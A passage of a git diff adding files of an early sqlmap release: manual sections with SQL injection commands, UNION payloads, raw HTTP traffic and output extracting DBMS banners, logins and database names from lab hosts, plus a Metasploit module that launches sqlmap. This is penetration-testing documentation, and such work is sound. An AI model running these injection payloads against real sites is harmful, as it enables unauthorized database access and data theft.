NULL, (CHAR(110)+CHAR(83)+CHAR(68)+CHAR(80)+ +CHAR(84)+CHAR(70))+ISNULL(CAST(@@VERSION AS VARCHAR(8000)), (CHAR(32)))+(CHAR(70)+CHAR(82)+ +CHAR(100)+CHAR(106)+CHAR(72)+CHAR(75)), NULL-- AND 5204=5204 +[hh:mm:42] [INFO] performed 3 queries in 0 seconds +banner: +--- +Microsoft SQL Server 2000 - 8.00.194 (Intel X86) + Aug 6 2000 00:57:48 + Copyright (c) 1988-2000 Microsoft Corporation + Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) +--- +</verb></tscreen> + +<p> +As you can see, the vulnerable parameter (<tt>id</tt>) is affected by both +blind SQL injection and exploitable inband SQL injection vulnerabilities. + +<p> +Example on a <bf>MySQL 5.0.51</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 5 \ + --union-use --banner + +[...] +[hh:mm:25] [INFO] the target url is affected by an exploitable inband sql injection +vulnerability +[hh:mm:25] [INFO] query: UNION ALL SELECT NULL, CONCAT(CHAR(98,108,76,79,106,78), +IFNULL(CAST(VERSION() AS CHAR(10000)), CHAR(32)),CHAR(122,110,105,89,121,65)), NULL-- +AND 6043=6043 +[hh:mm:25] [TRAFFIC OUT] HTTP request: +GET /sqlmap/mysql/get_int.php?id=1%20UNION%20ALL%20SELECT%20NULL%2C%20CONCAT%28CHAR%2898 +%2C108%2C76%2C79%2C106%2C78%29%2CIFNULL%28CAST%28VERSION%28%29%20AS%20CHAR%2810000%29%29 +%2C%20CHAR%2832%29%29%2CCHAR%28122%2C110%2C105%2C89%2C121%2C65%29%29%2C%20NULL--%20AND%2 +06043=6043&cat=2 HTTP/1.1 +Host: 192.168.1.121:80 +User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +Connection: close + +[hh:mm:25] [TRAFFIC IN] HTTP response (OK - 200): +Date: Mon, 28 Jul 2008 22:34:25 GMT +Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 +OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8 +X-Powered-By: PHP/5.2.4-2ubuntu5.2 +Content-Length: 194 +Connection: close +Content-Type: text/html + +<html><body> +<b>SQL results:</b> +<table border="1"> +<tr><td>1</td><td>luther</td><td>blissett</td></tr> +<tr><td></td><td>blLOjN5.0.51a-3ubuntu5.2zniYyA</td><td></td></tr> +</table> +</body></html> + +[hh:mm:25] [INFO] performed 3 queries in 0 seconds +banner: '5.0.51a-3ubuntu5.2' +</verb></tscreen> + +<p> +As you can see, the MySQL <tt>version()</tt> function (banner) output is +nested (inband) within the HTTP response page, this makes the inband SQL +injection exploitable. + + +<sect2>Estimated time of arrival + +<p> +Option: <tt>--eta</tt> + +<p> +It is possible to calculate and show the estimated time of arrival to +retrieve each query output in real time while performing the SQL injection +attack. + +<p> +Example on an <bf>Oracle XE 10.2.0.1</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" -b \ + --eta -v 1 + +[...] +back-end DBMS: Oracle + +[hh:mm:24] [INFO] fetching banner +[hh:mm:24] [INFO] the resumed output is partial, sqlmap is going to retrieve the query +output again +[hh:mm:24] [INFO] retrieved the length of query output: 64 +[hh:mm:24] [INFO] query: SELECT NVL(CAST(banner AS VARCHAR(4000)), (CHR(32))) FROM v$version +WHERE ROWNUM=1 +77% [=======================================> ] 49/64 ETA 00:00 +</verb></tscreen> + +<p> +then: + +<tscreen><verb> +100% [====================================================] 64/64 +[hh:mm:15] [INFO] performed 454 queries in 2 seconds +banner: 'Oracle Database 10g Express Edition Release 10.2.0.1.0 - Product' +</verb></tscreen> + +<p> +Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" \ + --users --eta -v 1 + +[...] +back-end DBMS: Microsoft SQL Server 2000 + +[hh:mm:57] [INFO] fetching database users +[hh:mm:57] [INFO] fetching number of database users +[hh:mm:57] [INFO] query: SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS VARCHAR(8000)), +(CHAR(32))) FROM master..syslogins +[hh:mm:57] [INFO] retrieved: 3 +[hh:mm:57] [INFO] performed 13 queries in 0 seconds +[hh:mm:57] [INFO] retrieved the length of query output: 22 +[hh:mm:57] [INFO] query: SELECT TOP 1 ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32))) FROM +master..syslogins WHERE name NOT IN (SELECT TOP 0 name FROM master..syslogins ORDER BY name) +ORDER BY name +100% [====================================================] 22/22 +[hh:mm:58] [INFO] performed 160 queries in 0 seconds +[hh:mm:58] [INFO] retrieved the length of query output: 2 +[hh:mm:58] [INFO] query: SELECT TOP 1 ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32))) FROM +master..syslogins WHERE name NOT IN (SELECT TOP 1 name FROM master..syslogins ORDER BY name) +ORDER BY name +100% [====================================================] 2/2 +[hh:mm:59] [INFO] performed 20 queries in 0 seconds +[hh:mm:59] [INFO] retrieved the length of query output: 25 +[hh:mm:59] [INFO] query: SELECT TOP 1 ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32))) FROM +master..syslogins WHERE name NOT IN (SELECT TOP 2 name FROM master..syslogins ORDER BY name) +ORDER BY name +100% [====================================================] 25/25 +[hh:mm:00] [INFO] performed 181 queries in 1 seconds +database management system users [3]: +[*] BUILTIN\Administrators +[*] sa +[*] W2KITINQUIS\Administrator +</verb></tscreen> + +<p> +As you can see, sqlmap first calculates the length of the query output, +then estimated the time of arrival, shows the progress in percentage and +counts the number of retrieved query output characters. + + +<sect2>Update sqlmap to the latest stable version + +<p> +Option: <tt>--update</tt> + +<p> + +It is possible to update sqlmap to the latest stable version available on +its <htmlurl url="http://sourceforge.net/project/showfiles.php?group_id=171598&package_id=196107" +name="SourceForge File List page"> by running it with the +<tt>--update</tt> option. + +<tscreen><verb> +$ python sqlmap.py --update -v 4 + +[hh:mm:53] [DEBUG] initializing the configuration +[hh:mm:53] [DEBUG] initializing the knowledge base +[hh:mm:53] [DEBUG] cleaning up configuration parameters +[hh:mm:53] [DEBUG] setting the HTTP method to perform HTTP requests through +[hh:mm:53] [DEBUG] creating HTTP requests opener object +[hh:mm:53] [INFO] updating sqlmap +[hh:mm:53] [DEBUG] checking if a new version is available +[hh:mm:55] [TRAFFIC OUT] HTTP request: +GET /doc/VERSION HTTP/1.1 +Host: sqlmap.sourceforge.net +User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +Connection: close + +[hh:mm:55] [TRAFFIC IN] HTTP response (OK - 200): +Date: Fri, 01 Aug 2008 14:50:55 GMT +Server: Apache/1.3.33 (Unix) PHP/4.3.10 +Last-Modified: Thu, 31 Jul 2008 11:10:19 GMT +ETag: "9fcc53e-4-48919d9b" +Accept-Ranges: bytes +Content-Length: 4 +Connection: close +Content-Type: text/plain +X-Pad: avoid browser bug + +[hh:mm:55] [INFO] you are already running sqlmap latest stable version +[hh:mm:55] [INFO] updating Microsoft SQL Server XML versions file +[hh:mm:56] [TRAFFIC OUT] HTTP request: +GET /FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx HTTP/1.1 +Host: www.sqlsecurity.com +User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +Cookie: .ASPXANONYMOUS=dvus03cqyQEkAAAANDI0M2QzZmUtOGRkOS00ZDQxLThhMTUtN2ExMWJiNWVjN2My0; +language=en-US +Connection: close + +[hh:mm:02] [TRAFFIC IN] HTTP response (OK - 200): +Cache-Control: private +Connection: close +Date: Fri, 01 Aug 2008 14:50:50 GMT +Content-Length: 167918 +Content-Type: text/html; charset=utf-8 +Server: Microsoft-IIS/6.0 +X-Powered-By: ASP.NET +X-AspNet-Version: 2.0.50727 +Set-Cookie: .ASPXANONYMOUS=dvus03cqyQEkAAAANDI0M2QzZmUtOGRkOS00ZDQxLThhMTUtN2ExMWJiNWVjN2My0; +expires=Fri, 10-Oct-2008 01:30:49 GMT; path=/; HttpOnly +Set-Cookie: language=en-US; path=/; HttpOnly + +[hh:mm:02] [INFO] no new Microsoft SQL Server versions since the last update +[hh:mm:02] [DEBUG] parsing XML queries file +</verb></tscreen> + +<p> +As you can see, sqlmap first check if a new stable version is available, +then in case it is, download it, unzip it and update the Microsoft SQL +Server XML versions file from Chip Andrews' +<htmlurl url="http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx" +name="SQLSecurity.com site">. + +<p> +Note that the default configuration file <tt>sqlmap.conf</tt> is backupped +to <tt>sqlmap.conf.bak</tt> in case a new stable version is available and +your copy is updated. + + +<sect2>Save and resume all data retrieved on a session file + +<p> +Option: <tt>-s</tt> + +<p> +It is possible to log all queries and their output on a text file while +performing whatever request, both in blind SQL injection and in inband SQL +injection. +This is useful if you stop the injection and resume it after some time. + +<p> +Example on a <bf>PostgreSQL 8.2.7</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -b \ + -v 1 -s "sqlmap.log" + +[...] +back-end DBMS: PostgreSQL + +[hh:mm:42] [INFO] fetching banner +[hh:mm:42] [INFO] query: COALESCE(CAST(VERSION() AS CHARACTER(10000)), (CHR(32))) +[hh:mm:42] [INFO] retrieved: PostgreSQL 8.2.7 o +[hh:mm:43] [ERROR] user aborted +</verb></tscreen> + +<p> +As you can see, I stopped the injection with <tt>CTRL-C</tt> while +retrieving the PostgreSQL banner and logged the session to text file +<tt>sqlmap.log</tt>. + +<tscreen><verb> +$ cat sqlmap.log + +[hh:mm:40 MM/DD/YY] +[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][Injection point][GET] +[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][Injection parameter][id] +[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][Injection type][numeric] +[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][Parenthesis][0] +[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][CONCAT('1', '1')][] +[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][LENGTH(SYSDATE)][] +[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][COALESCE(9, NULL)][9] +[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][LENGTH('9')][1] +[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][DBMS][PostgreSQL] +[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][VERSION()][PostgreSQL 8.2.7 o +</verb></tscreen> + +<p> +As you can see, all queries performed and their output have been logged to +the session file in real time while performing the injection. + +<p> +The session file has a structure as follows: + +<tscreen><verb> +[hh:mm:ss MM/DD/YY] +[Target URL][Injection point][Parameters][Query or information name][Query output or value] +</verb></tscreen> + +<p> +Performing the same request now, sqlmap calculates the query length, +in the example <tt>VERSION()</tt>, and resumes the injection from the last +character retrieved to the end of the query output. + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -b \ + -v 1 -s "sqlmap.log" + +[...] +back-end DBMS: PostgreSQL + +[hh:mm:37] [INFO] fetching banner +[hh:mm:37] [INFO] retrieved the length of query output: 93 +[hh:mm:37] [INFO] resumed from file 'sqlmap.log': PostgreSQL 8.2.7 o... +[hh:mm:37] [INFO] retrieving pending 75 query output characters +[hh:mm:37] [INFO] query: COALESCE(CAST(SUBSTR((VERSION()), 19, 93) AS CHARACTER(10000)), +(CHR(32))) +[hh:mm:37] [INFO] starting 1 threads +[hh:mm:37] [INFO] retrieved: n i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu +4.2.3-2ubuntu4) +banner: 'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu +4.2.3-2ubuntu4)' +</verb></tscreen> + + +<sect2>Load options from a configuration INI file + +<p> +Option: <tt>-c</tt> + +<p> +It is possible to pass user's option from a configuration INI file, an +example is <tt>sqlmap.conf</tt>. + +<p> +Example on a <bf>MySQL 5.0.51</bf> target: + +<tscreen><verb> +$ python sqlmap.py -c "sqlmap.conf" + +[hh:mm:42] [WARNING] User-Agent parameter 'User-Agent' is not dynamic +[hh:mm:42] [WARNING] GET parameter 'cat' is not dynamic +back-end DBMS: MySQL >= 5.0.0 +</verb></tscreen> + + +<sect2>Save options on a configuration INI file + +<p> +Option: <tt>--save</tt> + +<p> + +<p> +Example on a <bf>PostgreSQL 8.2.7</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -b \ + -v 1 --save + +[hh:mm:33] [INFO] saved command line options on '/software/sqlmap/sqlmap-ADMcR.conf' +configuration file +[hh:mm:33] [INFO] testing connection to the target url +[hh:mm:33] [INFO] testing if the url is stable, wait a few seconds +[...] +</verb></tscreen> + +<p> +As you can see, sqlmap saved the command line options to a configuration +INI file, <tt>sqlmap-ADMcR.conf</tt>. + +<tscreen><verb> +$ cat sqlmap-ADMcR.conf + +[Request] +aCred = +aType = +agent = +cookie = +data = +googleDork = +method = GET +proxy = +referer = +testParameter = +threads = 1 +url = http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2 +userAgentsFile = + +[Miscellaneous] +eta = False +sessionFile = +unionTest = False +unionUse = False +updateAll = False +verbose = 1 + +[Enumeration] +col = +db = +dumpAll = False +dumpTable = False +excludeSysDbs = False +getBanner = True +getColumns = False +getCurrentDb = False +getCurrentUser = False +getDbs = False +getPasswordHashes = False +getPrivileges = False +getTables = False +getUsers = False +query = +sqlShell = False +tbl = +user = + +[File system] +rFile = +wFile = + +[Takeover] +osShell = False + +[Fingerprint] +extensiveFp = False + +[Injection] +dbms = +string = +</verb></tscreen> + +<p> +The file is a valid sqlmap configuration INI file. +You can edit the configuration options as you wish and pass it to sqlmap +with the <tt>-c</tt> option as explained in the previous paragraph: + +<tscreen><verb> +$ python sqlmap.py -c "sqlmap-ADMcR.conf" + +[...] +back-end DBMS: PostgreSQL + +[hh:mm:10] [INFO] fetching banner +[hh:mm:10] [INFO] query: COALESCE(CAST(VERSION() AS CHARACTER(10000)), (CHR(32))) +[hh:mm:10] [INFO] retrieved: PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) +4.2.3 (Ubuntu 4.2.3-2ubuntu4) +[hh:mm:16] [INFO] performed 657 queries in 6 seconds +banner: 'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu +4.2.3-2ubuntu4)' +</verb></tscreen> + + +<sect>Disclaimer + +<p> +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +<p> +Whatever you do with this tool is uniquely your responsability. If you are +not authorized to punch holes in the network you are attacking be aware +that such action might get you in trouble with a lot of law enforcement +agencies. + + +<sect>Authors + +<p> +Feel free to contact us for comments, suggestions, bug reports and +patches. + +<itemize> +<item><htmlurl url="mailto:bernardo.damele@gmail.com" name="Bernardo Damele A. G."> (inquis) - project leader, core developer. PGP Key ID: <htmlurl url="http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x05F5A30F" name="0x05F5A30F"> +<item><htmlurl url="mailto:daniele.bellucci@gmail.com" name="Daniele Bellucci"> (belch) - project founder, initial developer. PGP Key ID: <htmlurl url="http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x9A0E8190" name="0x9A0E8190"> +</itemize> + + +</article> diff --git a/doc/THANKS b/doc/THANKS new file mode 100644 index 000000000..26e2c85da --- /dev/null +++ b/doc/THANKS @@ -0,0 +1,117 @@ +== Individuals == + +Chip Andrews <chip@sqlsecurity.com> + for his excellent work maintaining the SQL Server versions database + at SQLSecurity.com and permission to implement the update feature + taking data from his site + +Karl Chen <quarl@cs.berkeley.edu> + for providing with the multithreading patch for the inference + algorithm + +Stefano Di Paola <stefano.dipaola@wisec.it> + for suggesting good features + +Adam Faheem <faheem.adam@is.co.za> + for reporting a few bugs + +Rong-En Fan <rafan@freebsd.org> + for commiting the sqlmap 0.5 port to the official FreeBSD project + repository + +Giorgio Fedon <giorgio.fedon@gmail.com> + for suggesting a speed improvement for bisection algorithm + for reporting a bug when running against Microsoft SQL Server 2005 + +Ivan Giacomelli <truemilk@insiberia.net> + for reporting a bug + for suggesting a minor enhancement + +Davide Guerri <d.guerri@caspur.it> + for suggesting an enhancement + +Kristian Erik Hermansen <kristian.hermansen@gmail.com> + for reporting a bug + for donating to sqlmap development + +Jorge Hoya <aquinadie@gmail.com> + for suggesting a minor enhancement + +Will Holcomb <wholcomb@gmail.com> + for his MultipartPostHandler class to handle multipart POST forms and + permission to include it within sqlmap source code + +Michael Majchrowicz <mmajchrowicz@gmail.com> + for extensively beta-testing sqlmap on various MySQL DBMS + for providing really appreciated feedback + for suggesting a lot of ideas and features + +Enrico Milanese <enricomilanese@gmail.com> + for reporting a bugs when using (-a) a single line User-Agent file + for providing me with some ideas for the PHP backdoor + +Roberto Nemirovsky <roberto.paes@gmail.com> + for pointing me out some enhancements + +Antonio Parata <s4tan@ictsc.it> + for providing me with some ideas for the PHP backdoor + +Chris Patten <cpatten@sunera.com> + for reporting a bug in the blind SQL injection bisection algorithm + +Adam Pridgen <adam.pridgen@gmail.com> + for suggesting some features + +Alberto Revelli <r00t@northernfortress.net> + for inspiring me to write sqlmap user's manual in SGML + for his great Microsoft SQL Server take over tool, sqlninja, + http://sqlninja.sourceforge.net + +Andres Riancho <andres.riancho@gmail.com> + for beta-testing sqlmap + for reporting a bug and suggesting some features + for including sqlmap in his great web application audit and attack + framework, w3af, http://w3af.sourceforge.net + +Antonio Riva <antonio.riva@gmail.com> + for reporting a bug when running with python 2.5 + +Richard Safran <allapplyhere@yahoo.com> + for donating the sqlmap.org domain control + +Tomoyuki Sakurai <cherry@trombik.org> + for submitting to the FreeBSD project the sqlmap 0.5 port + +M Simkin <mlsimkin@cox.net> + for suggesting a feature + +Alessandro Tanasi <alessandro@tanasi.it> + for extensively beta-testing sqlmap + for suggesting many features and reporting some minor bugs + +Efrain Torres <et@metasploit.com> + for helping me out to improve the Metasploit Framework 3 sqlmap + auxiliary module and the integration with Metasploit WMAP framework + for his great Metasploit WMAP framework + +Sandro Tosi <matrixhasu@gmail.com> + for helping to create sqlmap Debian package correctly + +Bedirhan Urgun <bedirhanurgun@gmail.com> + for extensively beta-testing sqlmap + for suggesting some features and improvements + for benchmarking sqlmap in the context of his SQL injection + benchmark project, OWASP SQLiBench, http://code.google.com/p/sqlibench + +fufuh <fufuh@users.sourceforge.net> + for reporting a bug when running on Windows + +Sylphid <sylphid.su@sti.com.tw> + for suggesting some features + + +== Organizations == + +OWASP Board <http://www.owasp.org> + for sponsoring part of the sqlmap development in the context of OWASP + Spring of Code 2007 diff --git a/extra/msfauxmod/README b/extra/msfauxmod/README new file mode 100644 index 000000000..26d16f35a --- /dev/null +++ b/extra/msfauxmod/README @@ -0,0 +1,74 @@ +To use Metasploit's sqlmap auxiliary module launch msfconsole and follow +the example below: + +$ ./msfconsole + + _ _ _ _ + | | | | (_) | + _ __ ___ ___| |_ __ _ ___ _ __ | | ___ _| |_ +| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __| +| | | | | | __/ || (_| \__ \ |_) | | (_) | | |_ +|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__| + | | + |_| + + + =[ msf v3.2-testing ++ -- --=[ 308 exploits - 173 payloads ++ -- --=[ 20 encoders - 6 nops + =[ 75 aux + +msf > use auxiliary/scanner/http/wmap_sqlmap +msf auxiliary(wmap_sqlmap) > set RHOSTS 192.168.1.121 +RHOSTS => 192.168.1.121 +msf auxiliary(wmap_sqlmap) > set PATH /sqlmap/mysql/get_int.php +PATH => /sqlmap/mysql/get_int.php +msf auxiliary(wmap_sqlmap) > set QUERY id=1 +QUERY => id=1 +msf auxiliary(wmap_sqlmap) > set OPTS '--dbs --current-user' +OPTS => --dbs --current-user +msf auxiliary(wmap_sqlmap) > set SQLMAP_PATH /home/inquis/software/sqlmap/trunk/sqlmap/sqlmap.py +msf auxiliary(wmap_sqlmap) > show options + +Module options: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + BATCH true yes Never ask for user input, use the default behaviour + DATA no The data string to be sent through POST + METHOD GET yes HTTP Method + OPTS --dbs --current-user no The sqlmap options to use + PATH /sqlmap/mysql/get_int.php yes The path/file to test for SQL injection + Proxies no Use a proxy chain + QUERY id=1 no HTTP GET query + RHOSTS 192.168.1.121 yes The target address range or CIDR identifier + RPORT 80 yes The target port + SQLMAP_PATH /home/inquis/software/sqlmap/trunk/sqlmap/sqlmap.py yes The sqlmap >= 0.6.1 full path + SSL false no Use SSL + THREADS 1 yes The number of concurrent threads + VHOST no HTTP server virtual host + +msf auxiliary(wmap_sqlmap) > run +[*] exec: /home/inquis/software/sqlmap/trunk/sqlmap/sqlmap.py -u 'http://192.168.1.121/sqlmap/mysql/get_int.php?id=1' --method GET --dbs --current-user --batch +SQLMAP: +SQLMAP: sqlmap/0.6.1 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com> +SQLMAP: and Daniele Bellucci <daniele.bellucci@gmail.com> +SQLMAP: +SQLMAP: [*] starting at: 01:31:41 +SQLMAP: +SQLMAP: [01:31:42] [WARNING] User-Agent parameter 'User-Agent' is not dynamic +SQLMAP: back-end DBMS: MySQL >= 5.0.0 +SQLMAP: +SQLMAP: current user: 'testuser@localhost' +SQLMAP: +SQLMAP: available databases [4]: +SQLMAP: [*] information_schema +SQLMAP: [*] mysql +SQLMAP: [*] privatedb +SQLMAP: [*] test +SQLMAP: +SQLMAP: +SQLMAP: [*] shutting down at: 01:31:44 +SQLMAP: +[*] Auxiliary module execution completed +msf auxiliary(wmap_sqlmap) > diff --git a/extra/msfauxmod/wmap_sqlmap.rb b/extra/msfauxmod/wmap_sqlmap.rb new file mode 100644 index 000000000..9a0fc91b0 --- /dev/null +++ b/extra/msfauxmod/wmap_sqlmap.rb @@ -0,0 +1,90 @@ +require 'msf/core' + + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::WMAPScanUniqueQuery + include Msf::Auxiliary::Scanner + + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'SQLMAP SQL Injection External Module', + 'Description' => %q{ + This module launch a sqlmap session. + sqlmap is an automatic SQL injection tool developed in Python. + Its goal is to detect and take advantage of SQL injection + vulnerabilities on web applications. Once it detects one + or more SQL injections on the target host, the user can + choose among a variety of options to perform an extensive + back-end database management system fingerprint, retrieve + DBMS session user and database, enumerate users, password + hashes, privileges, databases, dump entire or user + specific DBMS tables/columns, run his own SQL SELECT + statement, read specific files on the file system and much + more. + }, + 'Author' => [ 'bernardo.damele [at] gmail.com', 'daniele.bellucci [at] gmail.com' ], + 'License' => BSD_LICENSE, + 'Version' => '$Revision$', + 'References' => + [ + ['URL', 'http://sqlmap.sourceforge.net'], + ] + )) + + register_options( + [ + OptString.new('METHOD', [ true, "HTTP Method", 'GET' ]), + OptString.new('PATH', [ true, "The path/file to test for SQL injection", 'index.php' ]), + OptString.new('QUERY', [ false, "HTTP GET query", 'id=1' ]), + OptString.new('DATA', [ false, "The data string to be sent through POST", '' ]), + OptString.new('OPTS', [ false, "The sqlmap options to use", ' ' ]), + OptPath.new('SQLMAP_PATH', [ true, "The sqlmap >= 0.6.1 full path ", '/sqlmap/sqlmap.py' ]), + OptBool.new('BATCH', [ true, "Never ask for user input, use the default behaviour", 'true' ]) + ], self.class) + end + + # Test a single host + def run_host(ip) + + sqlmap = datastore['SQLMAP_PATH'] + + if not sqlmap + print_error("The sqlmap script could not be found") + return + end + + data = datastore['DATA'] + method = datastore['METHOD'].upcase + + sqlmap_url = (datastore['SSL'] ? "https" : "http") + sqlmap_url += "://" + self.target_host + ":" + datastore['RPORT'] + sqlmap_url += "/" + datastore['PATH'] + + if method == "GET" + sqlmap_url += '?' + datastore['QUERY'] + end + + cmd = sqlmap + ' -u \'' + sqlmap_url + '\'' + cmd += ' --method ' + method + cmd += ' ' + datastore['OPTS'] + + if not data.empty? + cmd += ' --data \'' + data + '\'' + end + + if datastore['BATCH'] == true + cmd += ' --batch' + end + + print_status("exec: #{cmd}") + IO.popen( cmd ) do |io| + io.each_line do |line| + print_line("SQLMAP: " + line.strip) + end + end + end + +end diff --git a/lib/__init__.py b/lib/__init__.py new file mode 100644 index 000000000..e8fee9d67 --- /dev/null +++ b/lib/__init__.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python + +""" +$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +pass diff --git a/lib/contrib/__init__.py b/lib/contrib/__init__.py new file mode 100644 index 000000000..e8fee9d67 --- /dev/null +++ b/lib/contrib/__init__.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python + +""" +$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +pass diff --git a/lib/contrib/multipartpost.py b/lib/contrib/multipartpost.py new file mode 100644 index 000000000..ecf5c07a3 --- /dev/null +++ b/lib/contrib/multipartpost.py @@ -0,0 +1,97 @@ +#!/usr/bin/env python + +""" +$Id: multipartpost.py 316 2008-08-03 22:56:20Z inquisb $ + +02/2006 Will Holcomb <wholcomb@gmail.com> + +This library is free software; you can redistribute it and/or +modify it under the terms of the GNU Lesser General Public +License as published by the Free Software Foundation; either +version 2.1 of the License, or (at your option) any later version. + +This library is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +Lesser General Public License for more details. +""" + + + +import mimetools +import mimetypes +import os +import stat +import sys +import urllib +import urllib2 + +from lib.core.exception import sqlmapDataException + + +class Callable: + def __init__(self, anycallable): + self.__call__ = anycallable + + +# Controls how sequences are uncoded. If true, elements may be given +# multiple values by assigning a sequence. +doseq = 1 + + +class MultipartPostHandler(urllib2.BaseHandler): + handler_order = urllib2.HTTPHandler.handler_order - 10 # needs to run first + + def http_request(self, request): + data = request.get_data() + if data is not None and type(data) != str: + v_files = [] + v_vars = [] + try: + for(key, value) in data.items(): + if type(value) == file: + v_files.append((key, value)) + else: + v_vars.append((key, value)) + except TypeError: + systype, value, traceback = sys.exc_info() + raise sqlmapDataException, "not a valid non-string sequence or mapping object", traceback + + if len(v_files) == 0: + data = urllib.urlencode(v_vars, doseq) + else: + boundary, data = self.multipart_encode(v_vars, v_files) + contenttype = 'multipart/form-data; boundary=%s' % boundary + #if (request.has_header('Content-Type') and request.get_header('Content-Type').find('multipart/form-data') != 0): + # print "Replacing %s with %s" % (request.get_header('content-type'), 'multipart/form-data') + request.add_unredirected_header('Content-Type', contenttype) + + request.add_data(data) + return request + + + def multipart_encode(vars, files, boundary = None, buffer = None): + if boundary is None: + boundary = mimetools.choose_boundary() + if buffer is None: + buffer = '' + for(key, value) in vars: + buffer += '--%s\r\n' % boundary + buffer += 'Content-Disposition: form-data; name="%s"' % key + buffer += '\r\n\r\n' + value + '\r\n' + for(key, fd) in files: + file_size = os.fstat(fd.fileno())[stat.ST_SIZE] + filename = fd.name.split('/')[-1] + contenttype = mimetypes.guess_type(filename)[0] or 'application/octet-stream' + buffer += '--%s\r\n' % boundary + buffer += 'Content-Disposition: form-data; name="%s"; filename="%s"\r\n' % (key, filename) + buffer += 'Content-Type: %s\r\n' % contenttype + # buffer += 'Content-Length: %s\r\n' % file_size + fd.seek(0) + buffer += '\r\n' + fd.read() + '\r\n' + buffer += '--%s--\r\n\r\n' % boundary + return boundary, buffer + multipart_encode = Callable(multipart_encode) + + https_request = http_request + diff --git a/lib/controller/__init__.py b/lib/controller/__init__.py new file mode 100644 index 000000000..e8fee9d67 --- /dev/null +++ b/lib/controller/__init__.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python + +""" +$Id: 